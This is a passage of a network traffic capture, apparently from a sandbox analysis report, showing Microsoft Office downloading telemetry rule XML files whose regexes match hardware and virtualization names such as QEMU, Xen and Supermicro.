T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:09 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051709Z-16849878b786jv8w2kpaf5zkqs00000006d000000000g4pv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:10 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:10 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:10 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0c0bb0c5-d01e-007a-4187-29f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051710Z-17c5cb586f67hfgj2durhqcxk800000006h0000000003qud x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:10 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:10 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051710Z-16849878b782d4lwcu6h6gmxnw000000074000000000s03y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:10 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:10 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051710Z-16849878b785jrf8dn0d2rczaw00000008pg00000000hkgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:10 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:10 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: cce6b4d6-601e-000d-171c-292618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051710Z-r197bdfb6b4bq7nf8dgr5rzeq400000002yg0000000021pf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:10 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:10 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 6c7ab4fb-501e-0078-78bf-2706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051710Z-17c5cb586f6wmhkn5q6fu8c5ss00000006vg00000000gva1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051711Z-16849878b78hh85qc40uyr8sc800000007vg0000000091ky x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dc27e692-e01e-001f-1e67-281633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051711Z-15b8d89586fzhrwgk23ex2bvhw0000000aeg00000000auaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051711Z-16849878b787bfsh7zgp804my400000006eg000000001xyy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:11 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051711Z-16849878b78hh85qc40uyr8sc800000007tg00000000g3qm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:11 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:11 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051711Z-16849878b787wpl5wqkt5731b400000008d0000000002qk3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:11 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:11 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051711Z-16849878b78q9m8bqvwuva4svc000000060g00000000m8nb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O 